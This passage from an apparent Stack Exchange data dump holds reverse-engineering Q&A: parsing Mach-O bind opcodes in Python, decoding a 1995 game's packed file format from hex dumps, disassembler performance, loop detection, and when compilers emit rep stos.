which uses signed LEB, but we don't really care about it for the purpose of finding imports).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def readUleb(data, offset):&#xA;    byte = ord(data[offset])&#xA;    offset += 1&#xA;&#xA;    result = byte &amp;amp; 0x7f&#xA;    shift = 7&#xA;    while byte &amp;amp; 0x80:&#xA;        byte = ord(data[offset])&#xA;        result |= (byte &amp;amp; 0x7f) &amp;lt;&amp;lt; shift&#xA;        shift += 7&#xA;        offset += 1&#xA;    return (result, offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Libraries aren't actually identified by their names in the command stream. Rather, libraries are identified by their &lt;strong&gt;one-based&lt;/strong&gt; &quot;library ordinal&quot;, which is just the index of the library within all the &lt;code&gt;LC_LOAD_DYLIB&lt;/code&gt;, &lt;code&gt;LC_LOAD_WEAK_DYLIB&lt;/code&gt;, &lt;code&gt;LC_REEXPORT_DYLIB&lt;/code&gt; and &lt;code&gt;LC_LOAD_UPWARD_DYLIB&lt;/code&gt; loader commands. For instance, if an executable has a &lt;code&gt;LC_LOAD_DYLIB&lt;/code&gt; command for libSystem and then one for libFoobar, libSystem has ordinal 1 and libFoobar has ordinal 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three special values: ordinal -2 means that the symbol is looked up in the flat namespace (first library with a symbol with that name wins); ordinal -1 looks for a symbol in the main executable, whatever it is; and ordinal 0 looks for a symbol within this file. As we've said above, ordinal 1 and above refer to libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Symbol names are encoded within the command blob as null-terminated strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each opcode is easily described in code, so I'll spare us the description of each.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BIND_OPCODE_DONE = 0&#xA;BIND_OPCODE_SET_DYLIB_ORDINAL_IMM = 1&#xA;BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB = 2&#xA;BIND_OPCODE_SET_DYLIB_SPECIAL_IMM = 3&#xA;BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM = 4&#xA;BIND_OPCODE_SET_TYPE_IMM = 5&#xA;BIND_OPCODE_SET_ADDEND_SLEB = 6&#xA;BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB = 7&#xA;BIND_OPCODE_ADD_ADDR_ULEB = 8&#xA;BIND_OPCODE_DO_BIND = 9&#xA;BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB = 10&#xA;BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED = 11&#xA;BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB = 12&#xA;&#xA;def parseImports(self, offset, size):&#xA;    pointerWidth = self.bitness / 8&#xA;    slice = self.data[offset:offset+size]&#xA;    index = 0&#xA;&#xA;    name = &quot;&quot;&#xA;    segment = 0&#xA;    segmentOffset = 0&#xA;    libOrdinal = 0&#xA;&#xA;    stubs = []&#xA;    def addStub():&#xA;        stubs.append((segment, segmentOffset, libOrdinal, name))&#xA;&#xA;    while index != len(slice):&#xA;        byte = ord(slice[index])&#xA;        opcode = byte &amp;gt;&amp;gt; 4&#xA;        immediate = byte &amp;amp; 0xf&#xA;        index += 1&#xA;&#xA;        if opcode == BIND_OPCODE_DONE:&#xA;            pass&#xA;        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:&#xA;            libOrdinal = immediate&#xA;        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:&#xA;            libOrdinal, index = self.__readUleb(slice, index)&#xA;        elif opcode == BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:&#xA;            libOrdinal = -immediate&#xA;        elif opcode == BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:&#xA;            nameEnd = slice.find(&quot;\0&quot;, index)&#xA;            name = slice[index:nameEnd]&#xA;            index = nameEnd&#xA;        elif opcode == BIND_OPCODE_SET_TYPE_IMM:&#xA;            pass&#xA;        elif opcode == BIND_OPCODE_SET_ADDEND_SLEB:&#xA;            _, index = self.__readUleb(slice, index)&#xA;        elif opcode == BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:&#xA;            segment = immediate&#xA;            segmentOffset, index = self.__readUleb(slice, index)&#xA;        elif opcode == BIND_OPCODE_ADD_ADDR_ULEB:&#xA;            addend, index = self.__readUleb(slice, index)&#xA;            segmentOffset += addend&#xA;        elif opcode == BIND_OPCODE_DO_BIND:&#xA;            addStub()&#xA;        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:&#xA;            addStub()&#xA;            addend, index = self.__readUleb(slice, index)&#xA;            segmentOffset += addend&#xA;        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:&#xA;            addStub()&#xA;            segmentOffset += immediate * pointerWidth&#xA;        elif opcode == BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:&#xA;            times, index = self.__readUleb(slice, index)&#xA;            skip, index = self.__readUleb(slice, index)&#xA;            for i in range(times):&#xA;                addStub()&#xA;                segmentOffset += pointerWidth + skip&#xA;        else:&#xA;            sys.stderr.write(&quot;warning: unknown bind opcode %u, immediate %u\n&quot; % (opcode, immediate))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11678" LastEditorUserId="20067" LastEditDate="2017-10-09T19:26:59.817" LastActivityDate="2017-10-09T19:26:59.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="14060" CreationDate="2016-11-29T05:54:24.180" Score="3" Body="&lt;p&gt;If the game is from 1995, it's quite certain that the file format is specific to this game and the game studio that produced it. Game engines like Unity weren't a thing then; Studios wrote their software in C, maybe C++, and invented their own files and packers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the &quot;real&quot; file format is what you're seeing; and the software used to create the file was very probably written specifically for this game and has since been long lost, especially if the game is abandonware which probably means the company behind it went defunct at some time. So, don't expect to be able to find any software these days that can read your files directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might be able to do is find out how the internal files are packed together and write some C/Perl/Python/... code to extract the &lt;code&gt;.TXT&lt;/code&gt;, &lt;code&gt;.3DW&lt;/code&gt; and &lt;code&gt;.SPR&lt;/code&gt; contents, try software like &lt;code&gt;file&lt;/code&gt; and &lt;code&gt;trid&lt;/code&gt; if those contents are some generic format (unlikely but at least not impossible), then analyze these individual files in a hex editor to find their structure. But, as malikcjm said, it's very likely that you won't be able to read the files unless you disassemble the game binary to check how the game itself reads them, derive the file format from that, and then write some code yourself to convert that format to something modern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can, you might try uploading the files somewhere and provide a link, as well as tell us which game they are from and who produced it; chances are someone who has seen similar files might recognize them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I download the files and compress them, the size of at least the two CITY files doesn't shrink much:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gbl@roran:~/Temp/Winrace$ ls -l&#xA;total 788&#xA;-rw-r--r-- 1 gbl users  44423 Dec  1 05:10 CITY.ENV&#xA;-rw-r--r-- 1 gbl users 242641 Dec  1 05:10 CITY1.LEV&#xA;-rw-r--r-- 1 gbl users  52720 Dec  1 05:10 MINI.VHC&#xA;-rw-r--r-- 1 gbl users 462848 Dec  1 05:10 WINRACE.EXE&#xA;gbl@roran:~/Temp/Winrace$ gzip *&#xA;gbl@roran:~/Temp/Winrace$ ls -l&#xA;total 472&#xA;-rw-r--r-- 1 gbl users  38260 Dec  1 05:10 CITY.ENV.gz&#xA;-rw-r--r-- 1 gbl users 223044 Dec  1 05:10 CITY1.LEV.gz&#xA;-rw-r--r-- 1 gbl users  26003 Dec  1 05:10 MINI.VHC.gz&#xA;-rw-r--r-- 1 gbl users 186138 Dec  1 05:10 WINRACE.EXE.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how the .EXE compresses much better than the CITY* files? So it's likely those files are compressed, but with an algorithm that's a bit weaker than gzip. This would explain why you can't really find useful strings in them as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's check the hex dump of CITY.ENV which begins with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  43 49 54 59 2e 54 58 54 00 6b 00 00 00 a5 00 00   CITY.TXT.k......&#xA;00000010  00 03 fb 0d 0a 01 00 20 20 73 70 6f ff 74 20 31   .......  spo.t 1&#xA;00000020  20 52 55 42 42 ef 45 52 46 58 05 00 20 33 2c d7    RUBB.ERFX.. 3,.&#xA;00000030  31 37 2c 17 00 30 01 58 44 55 af 53 54 31 5f 14   17,..0.XDU.ST1_.&#xA;00000040  30 32 1d 08 35 7e 21 58 42 49 47 53 50 4c 36 08   02..5~!XBIGSPL6.&#xA;00000050  da 37 38 32 03 38 32 20 51 08 41 53 41 48 6a 00   .782.82 Q.ASAHj.&#xA;00000060  16 18 1c 10 5f 10 61 38 33 6b 08 77 41 52 4b 33   ...._.a83k.wARK3&#xA;00000070  20 36 2c 34 7a 10 03 2d 31 41 10 a2 00 43 41 52    6,4z..-1A...CAR&#xA;00000080  53 45 4c 2e 52 41 57 00 d2 6c 00 00 00 fd 00 00   SEL.RAW..l......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, there's a filename CITY.TXT at offset 0000, and another one at offset 007D. So the question is, how does the decoder know how long a file is, and where the next one starts? And how does it know how long the file name is, as they don't all have the same length?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these file names end with a &lt;code&gt;\0&lt;/code&gt;, the string terminator in C, so let's just assume this &lt;code&gt;\0&lt;/code&gt; doesn't have another meaning. Next is &lt;code&gt;6B000000&lt;/code&gt;, or &lt;code&gt;0000006B&lt;/code&gt; in little-endian that x86 uses, which is just a bit less than the offset of the next file name. So this might have to do with the compressed length of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking this with the next file at 007D, we find a length of 6CD2. Adding the start of the file name to this, we get 6D4D. And indeed, a few bytes behind that, at 6D63, we have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00006d60  03 dd d5 52 55 42 42 45 52 46 58 2e 46 54 00 40   ...RUBBERFX.FT.@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the next filename.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's make a table - byte position of filename, filename, integer after filename, sum of byte position and integer, position of next filename, and offset that needs to be added to the sum to reach the next filename:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000    CITY.TXT        006B    006B    007D    +0012&#xA;007D    CARSEL.RAW      6CD2    6D4D    6D63    +0016&#xA;6D63    RUBBERFX.FT     0040    6DA3    6DB8    +0015&#xA;6DB8    RUBBERFX.3DW    045F    7217    722C    +0015&#xA;722C    PSPOTFX2.TM     1CBA    8EE6    8EFA    +0014&#xA;8EFA    FDUST1_FX.FT    .....  &amp;lt;-- the first F might be spurious as the next file is DUST1.FX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, the assumption that these 4 bytes are the length of the compressed bytes seems to be true, even when we don't know yet why the offsets (last column) aren't constant. Doesn't seem like they have to do with the length of the filename either, as the first two differ 2 in length but 4 in the offset, and the 3rd and 4th have the same offset but different lengths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, let's check the bytes behind that length byte and make another table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000    CITY.TXT        006B    00A5&#xA;007D    CARSEL.RAW      6CD2    FD00&#xA;6D63    RUBBERFX.FT     0040    0076&#xA;6DB8    RUBBERFX.3DW    045F    0BF0&#xA;722C    PSPOTFX2.TM     1CBA    C000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This number is always somewhat larger than the first one. As we already suspect the file is compressed, I'd think that's the uncompressed size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you see, you can find out &lt;em&gt;some&lt;/em&gt; stuff from just looking at the file itself. However, the question remains why the offsets in table 1 aren't constant, and which type of compression gets used. And, this is where you need a lot of experience and/or luck. Either, you've been using compression programs 20 years ago and remember some of them and their file formats, and this looks just like on of them. (It doesn't, to me, it's neither ARC nor ZIP). Or, you need to disassemble the file and check how the code does it. Unfortunately, I'm afraid there is no other way.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-12-01T05:03:39.317" LastActivityDate="2016-12-01T05:03:39.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14067" PostTypeId="2" ParentId="14053" CreationDate="2016-11-29T11:39:15.030" Score="3" Body="&lt;p&gt;First, there are many algorithms used to disassemble a binary stream. The two most used ones are : &lt;em&gt;linear sweep&lt;/em&gt; and &lt;em&gt;recursive traversal&lt;/em&gt; (sometimes a hybrid), which present different performance and precision/reliability issues (how much code isn't disassembled properly : bad opcode, data interpreted as code, ...).&lt;br&gt;&#xA;So before you tackle implementation related performance issues you should check the computational complexity of the disassembler you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, more RAM and faster I/O is - almost - always a performance enhancer. If you are disassembling a +100MB binary file, you'll need all the help you can from the hardware. Therefore, having a fast SSD could reduce the I/O overhead experienced with a traditional HDD. For RAM, the larger the size the better, but keep in mind that the differences in performance between DDR, DDR2, DDR3, ECC, ... are quite substantial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with regard to the CPU core count and frequency's effects on disassembly performance, it is pretty hard to evaluate. Why? Well, you must ask yourself the following set of questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does the disassembler you're using implement a parallel disassembly algorithm ?&lt;/li&gt;&#xA;&lt;li&gt;If yes, how does the performance of the disassembler relate/scale with the core count ? If no, then one core will suffice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;FYI, a high core frequency (each core can have a frequency domain of its own separate from his neighbor's) could lead to disastrous performance if RAM is too slow. In the industry we usually settle for a core frequency of at most 1.8x the frequency of RAM. Otherwise, some serious performance bottlenecks (bandwidth, memory access latency, ...) start to tighten up and choke the running stream of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I know, IDA doesn't perform any parallel disassembly - I might be wrong, always check. Therefore, the first two points you cited in your question don't really matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to answer your question would be to say that : the complexity of the disassembly algorithm and the way the implementation takes advantage of the underlying hardware are the key factors for performance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Bonus]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to program a parallel disassembler you can do so this way :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose a disassembler library (Udis86 for example)&lt;/li&gt;&#xA;&lt;li&gt;Extract the sections and add them to a hashtab which contains a boolean variable - for each section - referring to its state (disassembled &lt;strong&gt;'1'&lt;/strong&gt;, not disassembled &lt;strong&gt;'0'&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Write a &lt;em&gt;threadable&lt;/em&gt; function which task is to pick a section in the hashtab and disassemble it (you'll have to manage the sections order, ...). Once the task is done, update the state (you'll have to use a lock : a mutex) and pick another one if there are any left.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This might look easy to do, but in fact it is a bit challenging for that it depends on the flexibility of the disassembly library. Honestly, +100MB binaries are quite rare and commercial/available tools aren't usually designed to handle that much code/data optimally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any additional/more technical details let me know, I'll be glad to develop some points. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2016-11-30T09:21:47.793" LastActivityDate="2016-11-30T09:21:47.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14068" PostTypeId="2" ParentId="9558" CreationDate="2016-11-30T01:38:01.813" Score="9" Body="&lt;p&gt;According to &lt;a href=&quot;https://derickrethans.nl/what-is-php-doing.html&quot; rel=&quot;noreferrer&quot;&gt;this link&lt;/a&gt;, it should be possible to find the function in use with the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attach gdb to the currently-running PHP process: &lt;code&gt;gdb -p &amp;lt;processid&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Load in the PHP &lt;code&gt;.gdbinit&lt;/code&gt; file for your version of PHP (available from &lt;a href=&quot;https://github.com/php/php-src/blob/master/.gdbinit&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;zbacktrace&lt;/code&gt; command to display the currently-running PHP script&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -p 4584&#xA;(gdb) source PHP_5_5/.gdbinit&#xA;(gdb) zbacktrace&#xA;[0xec906090] addOne() /tmp/yourscript.php:9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13377" LastActivityDate="2016-11-30T01:38:01.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14070" PostTypeId="2" ParentId="12103" CreationDate="2016-11-30T10:00:52.173" Score="1" Body="&lt;p&gt;Detecting loops from binary code isn't easily done. There are many algorithms based on multiple graph data structures (CFG, SSA form, DDG, ...).&#xA;I have provided a set of additional helpful documents &lt;a href=&quot;https://www.cs.purdue.edu/homes/hosking/502/notes/16-ssaopt.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link1&lt;/a&gt;, &lt;a href=&quot;http://www.cs.colostate.edu/~cs553/ClassNotes/lecture09-control-dominators.ppt.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link2&lt;/a&gt;, &lt;a href=&quot;http://lenx.100871.net/papers/loop-SAS.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link3&lt;/a&gt;.&#xA;You can check &lt;a href=&quot;https://git.maqao.org/MAQAO/MAQAO/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MAQAO&lt;/a&gt;'s implementation of an SSA based loop detector. Also, I would recommend you checking DynInst's code and documentation &lt;a href=&quot;https://github.com/dyninst/dyninst/blob/master/parseAPI/src/LoopAnalyzer.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;link4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can implement an assembly code analyzer that can detect basic blocks/loops by following branches.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Disassemble your binary and go thhrough instructions.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If a conditional jump is encountered (Jxx pattern), check whether it jumps above or below.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If the jump points above, check the distance (Delta(BRANCH_ADDRESS, BRANCH_TARGET_ADDRESS)), if the distance isn't too large (you'll have to decide of a limit) then you can apply some analysis on the branch condition (check whether it contains a register which is displaced [increment/decrement]). The branch condition analysis could be a simple pattern matching :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Example 1: &#xA;             TEST X,X&#xA;             Jxx  X&#xA;&#xA;   Example 2: &#xA;             CMP  X,X&#xA;             Jxx  X&#xA;&#xA;   Example 3: &#xA;             DEC X&#xA;             Jnz X&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it all checks out, you got yourself a basic block which has a high probability of being a loop.  &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;If the jump points below, its probability of being part of a loop control structure is less likely. You can therefore ignore it and move on to the next instruction.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you need more hairy details, I'll be glad to provide more ;)&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2016-11-30T10:00:52.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14071" PostTypeId="2" ParentId="11436" CreationDate="2016-11-30T10:31:20.507" Score="1" Body="&lt;p&gt;Let's start first with finding local variables. Binary files contain multiple sections used for a plethora of purposes. The section of interest in your case is the &lt;a href=&quot;https://en.wikipedia.org/wiki/.bss#BSS_in_C&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;.bss&lt;/em&gt;&lt;/a&gt;. In this sections, you're supposed to find a reference to the local variables used by your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, regarding the variable name, the only way to associate it to a relative address is through the compiler's debug information (&lt;a href=&quot;http://eagercon.com/dwarf/dwarf-2.0.0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;DWARF2&lt;/a&gt;/&lt;a href=&quot;http://dwarfstd.org/doc/Dwarf3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;DWARF3&lt;/a&gt; format for ELF binaries), if you use &lt;strong&gt;GCC&lt;/strong&gt; with the &lt;strong&gt;-g3&lt;/strong&gt; option. You can use &lt;strong&gt;GDB&lt;/strong&gt; to extract the information, it parses the dwarf information to associate assembly code lines with source code lines, and memory locations to variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to know that a variable name is only an abstraction of a memory location which is only known to the compiler at compile time, and after optimizations. Keep in mind that if you push the compiler to optimize (&lt;strong&gt;-Ox&lt;/strong&gt; with &lt;strong&gt;GCC&lt;/strong&gt;, x = [1, 2, 3, s, fast]), it'll minimize its stack references and use registers instead. Therefore, all references to your local variables will vanish into a temporary use of registers (the registers will be released and used elsewhere). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : If you analyze an optimized code using &lt;strong&gt;GDB&lt;/strong&gt; you'll notice that some function parameters or variables are shown as &lt;em&gt;&quot;optimized out&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more details.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2016-11-30T10:31:20.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="2" ParentId="11149" CreationDate="2016-11-30T11:00:05.367" Score="0" Body="&lt;p&gt;From the TMS320C55x &lt;a href=&quot;http://www.ti.com/lit/ug/spru280i/spru280i.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; it's clear that the chip supports multiple memory modes. Therefore, a function such as &lt;em&gt;malloc&lt;/em&gt; could have different definitions for each one. I think that the smartest thing to do is to identify the memory mode and figure out how a &lt;em&gt;malloc&lt;/em&gt; can be implemented in that mode.&lt;/p&gt;&#xA;&lt;p&gt;Given that your binary file is fully stripped and most functions seem to be inlined, all you can do is pattern matching. If you want to be smart, figure out a way to build a &lt;strong&gt;CFG&lt;/strong&gt; and try to identify where a &lt;em&gt;malloc&lt;/em&gt; could be necessary and check if your target pattern is redundant enough.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-11-30T11:00:05.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14073" PostTypeId="1" CreationDate="2016-11-30T12:42:46.460" Score="5" ViewCount="4764" Body="&lt;p&gt;Can you give me some example C code which would be compiled to &lt;code&gt;rep&lt;/code&gt; and &lt;code&gt;stos&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401059  /$  55            PUSH EBP&#xA;0040105A  |.  8BEC          MOV EBP,ESP&#xA;0040105C  |.  83EC 5C       SUB ESP,5C&#xA;0040105F  |.  57            PUSH EDI&#xA;00401060  |.  66:A1 E068400&amp;gt;MOV AX,WORD PTR DS:[4068E0]&#xA;00401066  |.  66:8945 B0    MOV WORD PTR SS:[EBP-50],AX&#xA;0040106A  |.  B9 13000000   MOV ECX,13&#xA;0040106F  |.  33C0          XOR EAX,EAX&#xA;00401071  |.  8D7D B2       LEA EDI,DWORD PTR SS:[EBP-4E]&#xA;00401074  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]&#xA;00401076  |.  66:AB         STOS WORD PTR ES:[EDI]&#xA;00401078  |.  8D4D B0       LEA ECX,DWORD PTR SS:[EBP-50]&#xA;0040107B  |.  51            PUSH ECX                                 ; /Arg2&#xA;0040107C  |.  8D55 A4       LEA EDX,DWORD PTR SS:[EBP-5C]            ; |&#xA;0040107F  |.  52            PUSH EDX                                 ; |Arg1&#xA;00401080  |.  E8 7BFFFFFF   CALL 00401000                            ;             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This's just my example.&lt;/p&gt;&#xA;" OwnerUserId="18177" LastEditorUserId="2959" LastEditDate="2016-12-01T09:55:46.880" LastActivityDate="2016-12-02T10:07:52.700" Title="When do rep and stos appear in compiled C?" Tags="|disassembly|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14074" PostTypeId="1" AcceptedAnswerId="14083" CreationDate="2016-11-30T14:30:12.357" Score="1" ViewCount="754" Body="&lt;p&gt;How can I apply relocations of symbols in an elffile? I'm currently trying to archive this with pyelftools. Strangely, I could hardly find any information on how to do this, although some projects have to implement something like this (e.g. ida, angr, amoco, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: I want to know where &lt;em&gt;elf imports&lt;/em&gt; will be located in virtual memory. Of course, the sections should adhere to these relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code snippets very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-01-30T10:59:58.557" Title="Relocate ELF symbols" Tags="|elf|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14075" PostTypeId="2" ParentId="14073" CreationDate="2016-11-30T15:20:21.377" Score="0" Body="&lt;p&gt;Normally during &lt;code&gt;memcpy()&lt;/code&gt;, &lt;code&gt;memset()&lt;/code&gt;, etc, operations. Something like the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define BUF_SIZE 1024&#xA;&#xA;wchar _t foo[BUF_SIZE]  = &quot;yyyyyyyyy&quot;;&#xA;wchar _t blah[BUF_SIZE] = {0};   &#xA;wchar _t bar[BUF_SIZE];&#xA;&#xA;memcpy(blah, BUF_SIZE, foo);&#xA;memset(bar, BUF_SIZE, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#pragma intrinsic (memset , memcpy)&#xA;void somefunc() { &#xA;  char *foo = &quot;yabba dabba choo&quot;;&#xA;  char *blah = (char *)malloc(0x20);&#xA;  if(blah) {&#xA;    memset(blah,0,0x20);  &amp;lt;&amp;lt;-- line no 9&#xA;    memcpy(blah,foo,0x20);&#xA;    printf(&quot;%s\n&quot; , blah);&#xA;  }&#xA;}&#xA;void main (void) {&#xA;  somefunc();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;compiled with /O1 optimization vc++&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo /Zi /W4 /O1 /analyze /EHsc /Ferepstos__opt.exe repstos.cpp  /link /RELEASE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;disassembly&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;uf repstos__opt!somefunc;q&quot; repstos__opt.exe | grep initial -A 40&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'uf repstos__opt!somefunc;q'&#xA;repstos__opt!somefunc:&#xA;010a1261 6a20            push    20h&#xA;010a1263 e8c69a0100      call    repstos__opt!malloc (010bad2e)&#xA;010a1268 8bd0            mov     edx,eax&#xA;010a126a 59              pop     ecx&#xA;010a126b 85d2            test    edx,edx&#xA;010a126d 7426            je      repstos__opt!somefunc+0x34 (010a1295)&#xA;&#xA;repstos__opt!somefunc+0xe:&#xA;010a126f 56              push    esi&#xA;010a1270 57              push    edi&#xA;010a1271 6a08            push    8&#xA;010a1273 59              pop     ecx&#xA;010a1274 33c0            xor     eax,eax&#xA;010a1276 8bfa            mov     edi,edx&#xA;010a1278 f3ab            rep stos dword ptr es:[edi] &amp;lt;&amp;lt;----&#xA;010a127a 6a08            push    8&#xA;010a127c 59              pop     ecx&#xA;010a127d 8bfa            mov     edi,edx&#xA;010a127f beb0c10d01      mov     esi,offset repstos__opt!`string' (010dc1b0)&#xA;010a1284 52              push    edx&#xA;010a1285 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]&#xA;010a1287 68c4c10d01      push    offset repstos__opt!`string' 